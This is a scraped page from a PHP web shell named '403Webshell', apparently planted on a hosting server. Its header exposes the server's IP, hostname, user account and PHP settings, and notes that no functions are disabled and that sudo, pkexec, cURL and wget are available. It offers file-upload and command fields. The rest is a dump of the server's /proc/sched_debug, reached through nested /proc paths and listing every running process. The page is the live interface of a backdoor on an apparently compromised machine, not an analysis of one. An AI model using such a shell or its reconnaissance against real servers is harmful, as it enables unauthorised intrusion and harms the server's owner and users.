403Webshell
Server IP : 159.253.20.91  /  Your IP : 216.73.216.111
Web Server : nginx/1.20.2
System : Linux se38c9e53.fastvps-server.com 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64
User : pr11_ru_usr ( 1041)
PHP Version : 8.1.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1776410/root/proc/1971815/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/1776410/root/proc/1971815/root/proc/sched_debug
Sched Debug Version: v0.11, 5.10.0-13-amd64 #1
ktime                                   : 5541249371.528574
sched_clk                               : 5541184737.717496
cpu_clk                                 : 5541184648.672257
jiffies                                 : 5680204598
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 12.000000
  .sysctl_sched_min_granularity            : 1.500000
  .sysctl_sched_wakeup_granularity         : 2.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 16722747
  .sysctl_sched_tunable_scaling            : 1 (logarithmic)

cpu#0, 2499.998 MHz
  .nr_running                    : 2
  .nr_switches                   : 2368294494
  .nr_uninterruptible            : -10686
  .next_balance                  : 5680.204600
  .curr->pid                     : 3005607
  .clock                         : 5541184649.101327
  .clock_task                    : 5541184649.101327
  .avg_idle                      : 817073
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 1407068204.746396
  .min_vruntime                  : 1407068204.746396
  .max_vruntime                  : 1407068204.746396
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 2
  .load                          : 2097152
  .load_avg                      : 2014
  .runnable_avg                  : 1310
  .util_avg                      : 922
  .util_est_enqueued             : 130
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 S         systemd     1 1407068147.139677   9317359   120         0.000000  23443534.534223         0.000000 0 0 /
 I      rcu_par_gp     4        15.969551         2   100         0.000000         0.001590         0.000000 0 0 /
 I    kworker/0:0H     6       268.625476         4   100         0.000000         0.053611         0.000000 0 0 /
 I    mm_percpu_wq     9 1348695888.059356        29   100         0.000000         2.230155         0.000000 0 0 /
 S rcu_tasks_rude_    10        24.722703         2   120         0.000000         0.001530         0.000000 0 0 /
 S rcu_tasks_trace    11        26.723202         2   120         0.000000         0.001470         0.000000 0 0 /
 S     ksoftirqd/0    12 1407068146.941637  12792807   120         0.000000    682166.886500         0.000000 0 0 /
 S     migration/0    14         0.000000   1451387     0         0.000000     20785.762113         0.000000 0 0 /
 S         cpuhp/0    15      2429.642364         9   120         0.000000         0.095472         0.000000 0 0 /
 S       kdevtmpfs    23      2606.240889       129   120         0.000000         1.587071         0.000000 0 0 /
 S      khungtaskd    26 1407060791.150696     45861   120         0.000000     12222.325425         0.000000 0 0 /
 S      oom_reaper    27        72.113829         2   120         0.000000         0.000000         0.000000 0 0 /
 S      kcompactd0    29 1407068043.581113  10863527   120         0.000000    163794.630923         0.000000 0 0 /
 S      khugepaged    31 1407046474.088823    864801   139         0.000000    430163.286189         0.000000 0 0 /
 I    kworker/0:1H    55 1407068123.152484  12355475   100         0.000000    150169.349300         0.000000 0 0 /
 S       scsi_eh_0   123      1475.474989         4   120         0.000000         0.365291         0.000000 0 0 /
 S       scsi_eh_2   129      1482.660538         2   120         0.000000         0.007560         0.000000 0 0 /
 S     jbd2/sda1-8   174 1407068123.162723  25300882   120         0.000000    726427.854344         0.000000 0 0 /
 I ext4-rsv-conver   175 1401736356.437849        25   100         0.000000         0.848723         0.000000 0 0 /
 S systemd-journal   215 1407068020.954765   3931139   120         0.000000   1554529.858472         0.000000 0 0 /
 I          cryptd   281      2124.448942         2   100         0.000000         0.011830         0.000000 0 0 /
 S     dbus-daemon   389 1407067855.900094   1726309   120         0.000000    300930.200835         0.000000 0 0 /
 S         qemu-ga   393 1403673993.963007     41347   120         0.000000       960.563951         0.000000 0 0 /
 S        rsyslogd   394 1407026967.521531      9273   120         0.000000      1029.469284         0.000000 0 0 /
 S     in:imuxsock   401 1407068020.561385   2362084   120         0.000000    125709.172361         0.000000 0 0 /
 S       in:imklog   402 1406866331.465193      2168   120         0.000000       207.841355         0.000000 0 0 /
 S   rs:main Q:Reg   404 1407068020.539005   2383462   120         0.000000    108410.634777         0.000000 0 0 /
 S  systemd-logind   395 1407067855.808243   1717512   120         0.000000    200760.417071         0.000000 0 0 /
 S            nscd   397 1407068167.347684  17744514   120         0.000000    385738.351517         0.000000 0 0 /
 S         dovecot   598 1407066767.246845    887059   120         0.000000     58948.500262         0.000000 0 0 /
 S       fastpanel   601 1407006651.449760   1546511   120         0.000000     97737.637991         0.000000 0 0 /
 S       fastpanel   623 1407067730.189982   9203059   120         0.000000    163249.965526         0.000000 0 0 /
 S       fastpanel   628 1407067730.214462   5474535   120         0.000000    344382.826276         0.000000 0 0 /
 S       fastpanel   632 974227002.102145         5   120         0.000000         0.064772         0.000000 0 0 /
 S       fastpanel   699      4655.239529        23   120         0.000000         0.481677         0.000000 0 0 /
 S       fastpanel   715 1220097489.911477   3932992   120         0.000000    236941.185809         0.000000 0 0 /
 S      php-fpm7.4   606 1407067830.807089   6090106   120         0.000000    284548.679368         0.000000 0 0 /
 S            sshd   618 1407067987.913541   1561605   120         0.000000    393724.145023         0.000000 0 0 /
 S           anvil   619 1407067499.578736   1081562   120         0.000000     55113.168765         0.000000 0 0 /
 S             log   620 1406184318.902131    108689   120         0.000000     11729.429541         0.000000 0 0 /
 S           nginx   656 1375883966.814807      1258   120         0.000000       389.522725         0.000000 0 0 /
 S          mysqld   665 1407068197.389617   3705586   120         0.000000    181403.680609         0.000000 0 0 /
 S          mysqld   718 1407068181.936270  11080619   120         0.000000    234986.842429         0.000000 0 0 /
 S          mysqld   719 1407067915.660460  11093670   120         0.000000    216540.997652         0.000000 0 0 /
 S          mysqld   720 1407068128.212592  11093569   120         0.000000    212778.357739         0.000000 0 0 /
 S          mysqld   721 1407067964.473847  11093578   120         0.000000    212959.917373         0.000000 0 0 /
 S          mysqld   724 1407067954.808192  15428134   120         0.000000    223916.967394         0.000000 0 0 /
 S          mysqld   725 1407067954.792512  15439530   120         0.000000    223800.514406         0.000000 0 0 /
 S          mysqld   726 1407067964.483229  15414040   120         0.000000    221613.055912         0.000000 0 0 /
 S          mysqld   728 1407068059.067118   6472468   120         0.000000    354915.193323         0.000000 0 0 /
 S          mysqld   731 1407068193.988567 127838644   120         0.000000   1823420.838010         0.000000 0 0 /
 S          mysqld   732 1407068193.295475 131202300   120         0.000000   2410129.497092         0.000000 0 0 /
 S          mysqld   737 1407067858.302027   5541141   120         0.000000    161193.822490         0.000000 0 0 /
 S          mysqld   741 1407066352.869472    638943   120         0.000000     45008.219858         0.000000 0 0 /
 S          mysqld   746      5172.718978        62   120         0.000000         1.842131         0.000000 0 0 /
 S          mysqld   747 1407068151.838504  55381512   120         0.000000   1760641.195618         0.000000 0 0 /
 S          mysqld   752      5187.135663         1   120         0.000000         0.064000         0.000000 0 0 /
 S          mysqld   754      5193.314720         2   120         0.000000         0.179060         0.000000 0 0 /
 S          mysqld 3783633 1269482583.400537         1   120         0.000000         0.006311         0.000000 0 0 /
 S          mysqld 3005607 1407068200.515859   1413610   120         0.000000    208541.780568         0.000000 0 0 /
 S          mysqld 3068903 1407068043.603885   1366274   120         0.000000    194811.686215         0.000000 0 0 /
 S          mysqld 3068924 1407068028.799208   1368940   120         0.000000    197083.998726         0.000000 0 0 /
 S          mysqld 3068980 1407068151.364263   1346189   120         0.000000    192389.936563         0.000000 0 0 /
 S          mysqld 3069091 1407068131.837203   1358698   120         0.000000    193601.787209         0.000000 0 0 /
 S      php-fpm7.4   667      3834.898308         1   120         0.000000         0.207810         0.000000 0 0 /
 S         php-fpm   677 661674259.737742      7111   120         0.000000      3171.548121         0.000000 0 0 /
 S         proftpd   678 1407065881.310528   2264674   120         0.000000    195701.643660         0.000000 0 0 /
 S       fastpanel   756 1407034905.795622    512274   120         0.000000    175940.732322         0.000000 0 0 /
 S       fastpanel   759 1407034905.942472   2747946   120         0.000000     40322.088798         0.000000 0 0 /
 S           stats  1140 1406185071.876057    225463   120         0.000000     16004.966966         0.000000 0 0 /
 S         php-fpm  1238 1407067730.208642   6091403   120         0.000000    337513.291740         0.000000 0 0 /
 S         apache2  2544 1407066973.740983   1846972   120         0.000000    118977.816012         0.000000 0 0 /
 S         defunct 2856833 606940499.721357         1   120         0.000000         0.129129         0.000000 0 0 /
 S         defunct 2856834 1407067983.823628   2442820   120         0.000000    128820.681035         0.000000 0 0 /
 S            bash 1241736 1017028888.154164         4   120         0.000000         1.636961         0.000000 0 0 /
 S         python3 1247903 1023572109.549221        30   120         0.000000         9.618933         0.000000 0 0 /
 S         python3 1247904 1403908813.849046       339   120         0.000000        87.834004         0.000000 0 0 /
 S         python3 69333 1109215807.545665         3   120         0.000000         0.270511         0.000000 0 0 /
 S         python3 69558 1109223026.564727         3   120         0.000000         0.307220         0.000000 0 0 /
 S         python3 69741 1109230667.907372         1   120         0.000000         0.155609         0.000000 0 0 /
 S         python3 2397811 1369979318.302388         4   120         0.000000         0.266170         0.000000 0 0 /
 S         php-fpm 599361 1406718997.244731    293893   120         0.000000    499170.919246         0.000000 0 0 /
 S         php-fpm 1160380 1406717994.911696    311608   120         0.000000    416014.962951         0.000000 0 0 /
 S         php-fpm 1165786 1406713720.708784    485922   120         0.000000    542777.855730         0.000000 0 0 /
 S         php-fpm 1199172 1406647317.021342     66885   120         0.000000    101588.130796         0.000000 0 0 /
 S         php-fpm 1351746 1405875900.239892     62848   120         0.000000     97240.787725         0.000000 0 0 /
 S             php 1971815 1407068000.140482  11596543   120         0.000000    394469.752556         0.000000 0 0 /
 S            auth 3436513 1407067869.829248    609821   120         0.000000     51335.583866         0.000000 0 0 /
 S             php 502952 1406232103.034856     96814   120         0.000000     78869.499269         0.000000 0 0 /
 S             php 1475321 1406720686.870576    167934   120         0.000000    110981.937587         0.000000 0 0 /
 I     kworker/0:0 2361991 1407068198.095466    957334   120         0.000000     84021.319102         0.000000 0 0 /
 S         php-fpm 2455600 1406643652.430997     34029   120         0.000000     17512.612860         0.000000 0 0 /
 S            atop 2561688 1406908465.713869      1671   100         0.000000     23484.194022         0.000000 0 0 /
 S         apache2 3508544 1407064321.392274      2904   120         0.000000      2367.521453         0.000000 0 0 /
 I     kworker/0:1 3557090 1403671953.924529        18   120         0.000000         0.804892         0.000000 0 0 /
 S         apache2 3576154 1407065141.726327      1388   120         0.000000      1171.984229         0.000000 0 0 /
 S         apache2 3576431 1407068169.908378      1356   120         0.000000      1100.375262         0.000000 0 0 /
 S         apache2 3576685 1407067716.230022      1350   120         0.000000      1077.898660         0.000000 0 0 /
 S         apache2 3582992 1407067336.839897      1074   120         0.000000       842.520356         0.000000 0 0 /
 I    kworker/u4:2 3655287 1407068122.707662      4045   120         0.000000       158.566392         0.000000 0 0 /
 S         apache2 3659364 1407066949.912985       174   120         0.000000       151.963204         0.000000 0 0 /
 S           exim4 3673608 1407031284.228666         3   120         0.000000         1.862310         0.000000 0 0 /
 S           exim4 3675132 1407055005.528236        18   120         0.000000        10.612003         0.000000 0 0 /
 S           exim4 3677898 1407064296.958679        12   120         0.000000         8.797725         0.000000 0 0 /
 S           exim4 3677899 1407041319.961309        14   120         0.000000        13.977361         0.000000 0 0 /
 S           exim4 3679352 1407055951.762697        24   120         0.000000        16.887772         0.000000 0 0 /
 S           exim4 3679502 1407055914.128581        14   120         0.000000         9.016034         0.000000 0 0 /
 S           exim4 3679520 1407067724.239614        11   120         0.000000        13.515096         0.000000 0 0 /
 S           exim4 3679643 1407058217.747091         3   120         0.000000         0.750351         0.000000 0 0 /
 S           exim4 3679819 1407060975.407433         5   120         0.000000         0.710531         0.000000 0 0 /
 S           exim4 3679928 1407066771.656957        18   120         0.000000        20.087675         0.000000 0 0 /
 S           exim4 3679990 1407063711.333972        22   120         0.000000         9.905577         0.000000 0 0 /
 S           exim4 3680004 1407065076.003253        14   120         0.000000        13.832783         0.000000 0 0 /
 S           exim4 3680008 1407063903.339606         8   120         0.000000         1.017629         0.000000 0 0 /
 S           exim4 3680084 1407068139.058370        63   120         0.000000        51.077792         0.000000 0 0 /
 S            sshd 3680126 1407067010.808170         5   120         0.000000         4.089064         0.000000 0 0 /
 S           exim4 3680174 1407066612.519826        19   120         0.000000         8.608103         0.000000 0 0 /
 S            sshd 3680180 1407066964.324604        10   120         0.000000         7.474643         0.000000 0 0 /
 S           exim4 3680189 1407067002.162818        20   120         0.000000         9.164070         0.000000 0 0 /
 S           exim4 3680210 1407067473.469035         7   120         0.000000         9.115373         0.000000 0 0 /
 S           exim4 3680234 1407067731.173505        11   120         0.000000         9.596583         0.000000 0 0 /
 S           exim4 3680238 1407067752.841594         6   120         0.000000         1.424650         0.000000 0 0 /
 S           exim4 3680239 1407068181.989399         5   120         0.000000         0.642630         0.000000 0 0 /
 S           exim4 3680243 1407067838.664600        13   120         0.000000         9.125664         0.000000 0 0 /
 S           exim4 3680244 1407068150.298873         6   120         0.000000         0.705590         0.000000 0 0 /
 S            sshd 3680247 1407068020.751786        19   120         0.000000        11.368363         0.000000 0 0 /
 S            sshd 3680248 1407068020.563045        12   120         0.000000         4.584310         0.000000 0 0 /
 S           exim4 3680252 1407067954.617795        17   120         0.000000         8.804977         0.000000 0 0 /
 S           exim4 3680253 1407068206.979381         9   120         0.000000        10.070554         0.000000 0 0 /
 S            sshd 3680254 1407067999.153995         8   120         0.000000         9.034185         0.000000 0 0 /
 S            sshd 3680255 1407068097.528296         3   120         0.000000         0.770190         0.000000 0 0 /
 S           exim4 3680261 1407068138.371443        18   120         0.000000         9.984563         0.000000 0 0 /
 S           exim4 3680262 1407068167.327834         5   120         0.000000         0.664570         0.000000 0 0 /
 S           exim4 3680263 1407068161.150625        12   120         0.000000        12.143496         0.000000 0 0 /
 R         apache2 3680272 1407068204.809176        94   120         0.000000        24.519951         0.000000 0 0 /

cpu#1, 2499.998 MHz
  .nr_running                    : 1
  .nr_switches                   : 2324752825
  .nr_uninterruptible            : 10686
  .next_balance                  : 5680.204603
  .curr->pid                     : 3678876
  .clock                         : 5541184647.206146
  .clock_task                    : 5541184647.206146
  .avg_idle                      : 614504
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 1381239406.051537
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -25828798.757639
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1048576
  .load_avg                      : 1138
  .runnable_avg                  : 747
  .util_avg                      : 636
  .util_est_enqueued             : 367
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[1]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[1]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 S        kthreadd     2 1380715760.886406     16223   120         0.000000      1372.820871         0.000000 0 0 /
 I          rcu_gp     3 932601065.557028         5   100         0.000000         0.029830         0.000000 0 0 /
 I       rcu_sched    13 1381239396.117596 208110164   120         0.000000   1353012.265986         0.000000 0 0 /
 S         cpuhp/1    16      2797.601574         9   120         0.000000         1.785614         0.000000 0 0 /
 S     migration/1    17         0.000000   1450391     0         0.000000     19096.261023         0.000000 0 0 /
 S     ksoftirqd/1    18 1381239392.597101  12199177   120         0.000000    719424.245342         0.000000 0 0 /
 I    kworker/1:0H    20       529.677325         5   100         0.000000         0.032759         0.000000 0 0 /
 I           netns    24       162.906987         2   100         0.000000         0.006110         0.000000 0 0 /
 S         kauditd    25      2499.583126         6   120         0.000000         0.053230         0.000000 0 0 /
 I       writeback    28 1161912641.771822        67   100         0.000000        11.761630         0.000000 0 0 /
 S            ksmd    30       174.927094         2   125         0.000000         0.006391         0.000000 0 0 /
 I     kintegrityd    50       306.207984         2   100         0.000000         0.000000         0.000000 0 0 /
 I         kblockd    51       304.212646         2   100         0.000000         0.004660         0.000000 0 0 /
 I  blkcg_punt_bio    52       308.216676         2   100         0.000000         0.004031         0.000000 0 0 /
 I     edac-poller    53       312.224515         2   100         0.000000         0.007840         0.000000 0 0 /
 I      devfreq_wq    54       316.224514         2   100         0.000000         0.000000         0.000000 0 0 /
 S         kswapd0    56 1380781783.417742    254336   120         0.000000    722992.204837         0.000000 0 0 /
 I        kthrotld    57       324.341432         2   100         0.000000         0.034420         0.000000 0 0 /
 I acpi_thermal_pm    58       328.385908         2   100         0.000000         0.045881         0.000000 0 0 /
 I   ipv6_addrconf    59       332.424895         2   100         0.000000         0.040768         0.000000 0 0 /
 I           kstrp    68       377.993438         2   100         0.000000         0.027160         0.000000 0 0 /
 I    zswap-shrink    71       413.483776         2   100         0.000000         0.029071         0.000000 0 0 /
 I    kworker/u5:0    72       417.501821         2   100         0.000000         0.020289         0.000000 0 0 /
 I    kworker/1:1H    94 1381238789.451479  12597384   100         0.000000    155140.500926         0.000000 0 0 /
 I         ata_sff   121       614.584135         3   100         0.000000         0.014531         0.000000 0 0 /
 I      scsi_tmf_0   124       618.229082         3   100         0.000000         0.017280         0.000000 0 0 /
 S       scsi_eh_1   125       621.717518         4   120         0.000000         0.227701         0.000000 0 0 /
 I      scsi_tmf_1   126       621.684294         2   100         0.000000         0.009631         0.000000 0 0 /
 I      scsi_tmf_2   131       634.462465         2   100         0.000000         0.005940         0.000000 0 0 /
 S   systemd-udevd   246 1381203814.646865     47067   120         0.000000     25020.644776         0.000000 0 0 /
 S systemd-timesyn   364 1381203815.218364     51446   120         0.000000     30624.825364         0.000000 0 0 /
 S      sd-resolve   386      9674.426751        18   120         0.000000         2.060688         0.000000 0 0 /
 S          hwmon0   368 944060236.986487        14   120         0.000000         0.667280         0.000000 0 0 /
 S            cron   388 1381224582.044338    213155   120         0.000000     65134.753274         0.000000 0 0 /
 S      irqbalance   390 1381238045.305624    554976   120         0.000000    170641.970776         0.000000 0 0 /
 S           gmain   425      2961.997844         1   120         0.000000         0.025020         0.000000 0 0 /
 S         qemu-ga   427      2973.574554         2   120         0.000000         0.029930         0.000000 0 0 /
 S           gmain 1465287 684331928.368188         6   120         0.000000         0.329290         0.000000 0 0 /
 S            nscd   414 1381233322.736960    254796   120         0.000000     32831.946839         0.000000 0 0 /
 S            nscd   415 1381237942.705289    162977   120         0.000000     18467.850695         0.000000 0 0 /
 S            nscd   416 1381235089.196403    324419   120         0.000000     38593.041198         0.000000 0 0 /
 S            nscd   417 1371002897.123554       153   120         0.000000        27.621665         0.000000 0 0 /
 S            nscd   418 1373961959.700190       118   120         0.000000        29.749599         0.000000 0 0 /
 S            nscd   419 1381239365.028459   2301304   120         0.000000     82604.382487         0.000000 0 0 /
 S            nscd   420 1381239355.585383   2298714   120         0.000000     81435.123795         0.000000 0 0 /
 S            nscd   421 1381239345.010828   2303327   120         0.000000     81371.537979         0.000000 0 0 /
 S            nscd   422 1381239355.341482   2308310   120         0.000000     82652.211994         0.000000 0 0 /
 S            nscd   423 1381239348.833360   2310535   120         0.000000     82618.591377         0.000000 0 0 /
 S            nscd 3327978 1381239379.771731    746391   120         0.000000     28668.754155         0.000000 0 0 /
 S       atopacctd   398 1381239395.040451  58109841   100         0.000000   1461040.431220         0.000000 0 0 /
 S       fastpanel   625 1380662372.476820   5786258   120         0.000000    359245.089884         0.000000 0 0 /
 S       fastpanel   626      4295.968964        37   120         0.000000         7.983266         0.000000 0 0 /
 S       fastpanel   735 1357421216.561284       878   120         0.000000       148.177663         0.000000 0 0 /
 S       fastpanel  1128 1363300857.763178   5621325   120         0.000000    340882.173069         0.000000 0 0 /
 S       fastpanel  1129 1381175868.587936   5408499   120         0.000000    333402.930303         0.000000 0 0 /
 S          config   627 1380346971.051690    135450   120         0.000000     33414.561937         0.000000 0 0 /
 S          agetty   646      5875.209603        16   120         0.000000       127.457103         0.000000 0 0 /
 S          agetty   647      5870.433773         9   120         0.000000         3.237891         0.000000 0 0 /
 S fastpanel2-ngin   659 1350608241.836055       151   120         0.000000       119.810176         0.000000 0 0 /
 S          mysqld   717 1381239341.151347  11080588   120         0.000000    232585.929615         0.000000 0 0 /
 S          mysqld   722 1381239313.001100  11093776   120         0.000000    207400.385318         0.000000 0 0 /
 S          mysqld   723 1381239193.962375  15437705   120         0.000000    222127.378110         0.000000 0 0 /
 S          mysqld   727 1381238789.812154  13965094   120         0.000000    822102.962529         0.000000 0 0 /
 S          mysqld   729 1381239392.017991 105508435   120         0.000000   1800617.458313         0.000000 0 0 /
 S          mysqld   730 1381238789.818374  73937577   120         0.000000   1441877.903326         0.000000 0 0 /
 S          mysqld   736 1381239251.275835   5542125   120         0.000000    160808.864494         0.000000 0 0 /
 S          mysqld   738 1381231496.198596    369496   120         0.000000     17562.731330         0.000000 0 0 /
 S          mysqld   739      4513.535613         1   120         0.000000         0.034630         0.000000 0 0 /
 S          mysqld   740 1381238915.959331   5554673   120         0.000000    398422.791003         0.000000 0 0 /
 S          mysqld   742 1381238138.770911   1108433   120         0.000000     45517.625574         0.000000 0 0 /
 S          mysqld   748 1381239105.538264  31037351   120         0.000000    664689.201837         0.000000 0 0 /
 S          mysqld   749 1381239097.025772  15759836   120         0.000000    107336.784575         0.000000 0 0 /
 S          mysqld   750 1381239097.025822  14515697   120         0.000000     86937.680023         0.000000 0 0 /
 S          mysqld   751 1381239097.024002  13295443   120         0.000000     83574.118968         0.000000 0 0 /
 S          mysqld   753      4568.832493         5   120         0.000000         0.028981         0.000000 0 0 /
 S          mysqld 2941220 1381239393.603606   1464845   120         0.000000    210301.919459         0.000000 0 0 /
 S          mysqld 3005805 1381239336.215038   1439235   120         0.000000    204196.592403         0.000000 0 0 /
 S          mysqld 3005817 1377263961.841510   1121999   120         0.000000    160251.670303         0.000000 0 0 /
 S          mysqld 3068933 1381239285.704901   1373356   120         0.000000    204648.349594         0.000000 0 0 /
 S      php-fpm7.4   666      3798.370474         3   120         0.000000         0.232850         0.000000 0 0 /
 S         php-fpm   669 1381239163.981266   6089785   120         0.000000    288054.873189         0.000000 0 0 /
 S         apache2   671 1381239299.357944   5541101   120         0.000000    284959.333737         0.000000 0 0 /
 S       fastpanel   760      5028.643863        31   120         0.000000         4.560879         0.000000 0 0 /
 S       fastpanel   762 1363301529.119689    411342   120         0.000000    141739.658215         0.000000 0 0 /
 S       fastpanel   763      5032.201503        35   120         0.000000         8.084568         0.000000 0 0 /
 S       fastpanel   764      4611.463948         1   120         0.000000         0.011000         0.000000 0 0 /
 S       fastpanel  1069 1381169703.178729    402221   120         0.000000    137351.380572         0.000000 0 0 /
 S       fastpanel  4431 645444319.625632    253296   120         0.000000     85355.843118         0.000000 0 0 /
 S       fastpanel  5025 1381169695.879286    431738   120         0.000000    151359.746067         0.000000 0 0 /
 S       fastpanel 3190613 1381095647.711673    162596   120         0.000000     58436.471588         0.000000 0 0 /
 S           exim4  1011 1381239354.264303    665689   120         0.000000    283049.669754         0.000000 0 0 /
 I        dio/sda1  1087      6000.732658         2   100         0.000000         0.007309         0.000000 0 0 /
 S fastpanel2-ngin  2542 1379826130.447446    229722   120         0.000000     42140.320009         0.000000 0 0 /
 S         apache2  2543    307775.061648         2   120         0.000000         0.596220         0.000000 0 0 /
 S         php-fpm 1250246 271404854.391245       697   120         0.000000       658.234511         0.000000 0 0 /
 S             php 2000078 455774914.337490      1648   120         0.000000       163.024865         0.000000 0 0 /
 S             php 3575454 1381239249.816527  66331633   120         0.000000   2389474.591284         0.000000 0 0 /
 S             cat 1241738 992994762.282460         1   120         0.000000         0.461289         0.000000 0 0 /
 S         python3 1247901 1377775634.394748      2077   120         0.000000       997.357287         0.000000 0 0 /
 S         python3 3155779 1051699512.513917         4   120         0.000000         0.079282         0.000000 0 0 /
 S         php-fpm 612261 1380887457.918585    303050   120         0.000000    500668.631772         0.000000 0 0 /
 S         php-fpm 873234 1380883232.627561    275053   120         0.000000    519731.982232         0.000000 0 0 /
 S         php-fpm 909844 1380883950.288870    384642   120         0.000000    509076.899657         0.000000 0 0 /
 S         php-fpm 1094501 1379479500.675938     68924   120         0.000000    107022.913053         0.000000 0 0 /
 S         php-fpm 1200739 1380825070.897141     67599   120         0.000000    104308.641976         0.000000 0 0 /
 S         php-fpm 1317400 1380246786.353710     62516   120         0.000000     98386.448590         0.000000 0 0 /
 S             php 1776410 1381239399.003027  11865566   120         0.000000    404188.122205         0.000000 0 0 /
 S             php 3680271 1381239397.632460         1   120         0.000000         0.093240         0.000000 0 0 /
 S             php 3817630 1380867315.820575    138921   120         0.000000    129427.708561         0.000000 0 0 /
 S           nginx 175670 1381239392.695182   1701226   120         0.000000    663848.305147         0.000000 0 0 /
 S           nginx 175671 1381239368.211120   1426609   120         0.000000    624302.952342         0.000000 0 0 /
 S             php 1474893 1380838090.232111     53728   120         0.000000     53251.008233         0.000000 0 0 /
 S             php 2191002 1379501782.127689     48673   120         0.000000     37709.055128         0.000000 0 0 /
 S         php-fpm 2451963 1380816176.665852     36760   120         0.000000     18227.774955         0.000000 0 0 /
 S         php-fpm 2521512 1380874878.278726     35931   120         0.000000     40431.492316         0.000000 0 0 /
 S         php-fpm 2521591 1380294434.111069     33147   120         0.000000     38509.059926         0.000000 0 0 /
 S         apache2 3343779 1381239293.696105      5910   120         0.000000      5119.333752         0.000000 0 0 /
 S         apache2 3382267 1381236359.329315      5258   120         0.000000      4661.803363         0.000000 0 0 /
 I     kworker/1:1 3457175 1381239385.548663     82568   120         0.000000       969.278036         0.000000 0 0 /
 S         apache2 3508545 1381236986.561137      2929   120         0.000000      2345.411122         0.000000 0 0 /
 I    kworker/u4:0 3525054 1381238099.732438     16595   120         0.000000       666.141643         0.000000 0 0 /
 S         apache2 3530569 1381237242.159071      2488   120         0.000000      2077.657143         0.000000 0 0 /
 S         php-fpm 3546505 1377263977.011414        17   120         0.000000        24.001010         0.000000 0 0 /
 S         apache2 3548028 1381237646.848946      2100   120         0.000000      1794.806568         0.000000 0 0 /
 S         apache2 3576303 1381239341.207327      1379   120         0.000000      1177.643256         0.000000 0 0 /
